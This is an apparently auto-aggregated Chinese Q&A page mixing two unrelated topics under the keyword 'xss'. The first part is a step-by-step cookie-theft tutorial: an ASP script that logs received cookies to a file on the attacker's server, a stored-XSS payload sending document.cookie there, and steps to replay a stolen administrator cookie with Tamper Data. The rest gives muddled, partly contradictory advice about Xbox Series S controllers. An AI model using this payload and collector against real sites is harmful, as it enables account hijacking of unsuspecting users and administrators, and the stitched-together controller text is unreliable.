本文目录一览：
怎么用xss代码让cookie弹窗
XSS获取cookie并利用
获取cookie利用代码cookie.asp
html
titlexx/title
body
%testfile = Server.MapPath('code.txt') //先构造一个路径，也就是取网站根目录，创造一个在根目录下的code.txt路径，保存在testfile中
msg = Request('msg') //获取提交过来的msg变量，也就是cookie值
set fs = server.CreateObject('scripting.filesystemobject')//创建一个fs对象
set thisfile = fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(''msg'')//像code.txt中写入获取来的cookie
thisfile.close() //关闭
set fs = nothing%
/body
/html
把上述文件保存为cookie.asp文件，放到你自己的网站服务器下。比如这里我们自己搭建的服务器为：。
XSS构造语句
scriptwindow.open(''+document.cookie)/script
把上述语句放到你找到的存在XSS的目标中，不过这里最好是存储型xss，比如你找到了某个博客或者论坛什么的存在存储型XSS，你在里面发一篇帖子或者留上你的评论，内容就是上述语句，当其他用户或者管理员打开这个评论或者帖子链接后，就会触发，然后跳转到'+document.cookie的页面，然后当前账户的coolie信息就当成参数发到你的网站下的文件里了。然后的然后你就可以那这个cookie登陆了。。。。。。
简单步骤如下：
1、在存在漏洞的论坛中发日志：
X
2、然后以管理远登陆，进入后页面会跳转，此时cookie就发送到你的服务器下的code.txt文件中了：
3、这是没有账户前的登陆界面：
4、打开firefox的Tamper Data插件，点击Start Tamper开始抓取信息，刷新登陆界面，然后会跳出对话框，点击Tamper按钮，在途中的cookie一栏中替换掉你抓取到的cookie，单击确定发送请求数据：
5、替换cookie后不用输用户名密码就顺利进入管理员账户了：
ones手柄可以用xss蘑菇头吗
能用，xss是能用one手柄的，不过要提前安装现任的手柄驱动，因为xss和one手柄并不是同一系列的手柄，虽然都是xbox360系列的主题，但还是有区别的，接口也要使用，可以匹配的转接线来进行连接，另外，进入游戏之前，要让系统提前进行调试按键才可以，xboxones的手柄普通版为白色(已经有黑色、浅蓝色),兼容原来旧的主机,兼容旧手柄所有配件,主机连接依然使用原来的无线类型连接。
2.在原有的3.5mm耳机孔的前提下新增蓝牙连接,性能比较弱,十几块钱的接收器三米内新增把手3.改良lbrb不再松垮,像旧版本一样但是好按。4.取消正面西瓜灯键的分层设计改为一体化设计。
xss手柄怎么用
完全值得的次世代主机 xbox series s 简称xss，xbox手柄操作分为三个步骤。
步骤一：在连接xbox手柄前，先保证我们的蓝牙是可用的，在电脑中用win＋r快捷键打开设置，找到“设备”。在“设备”内选择第一项“蓝牙和其他设备”。
步骤二：选择添加设备选项。这时按下手柄顶部的按键，按键开始闪烁时，表示在搜索蓝牙。
步骤三：在电脑上的蓝牙设备中，可以看到已经找到手柄了，选择连接手柄并耐心等待。连接完成后，显示已连接。
xss无法设置常用xbox
没有共享账号、没有设置权限。
1、没有共享账号。xss需要有共享账号才能设置常用xbox，没有共享账号会导致无法设置，在xss里选择创建共享账号即可。
2、没有设置权限。在设置的常规选项中，选择个性化设置，打开常用xbox权限即可。
xss用xbox360手柄
xbox360手柄是无法连接xss的。
xbox360手柄各个键的默认功能。a键是控制大跳的，b键是控制蹲和爬的，y键是控制武器更换的，x键是控制捡东西的，rt键是控制使用武器的，lt键是控制准确度的，rb键是控制发射的，lb键也是控制发射的，rs键是控制视角的,ls键是控制人物移动的。方向键就是按照不同的方向控制方向的，start是开始键，back是暂停键。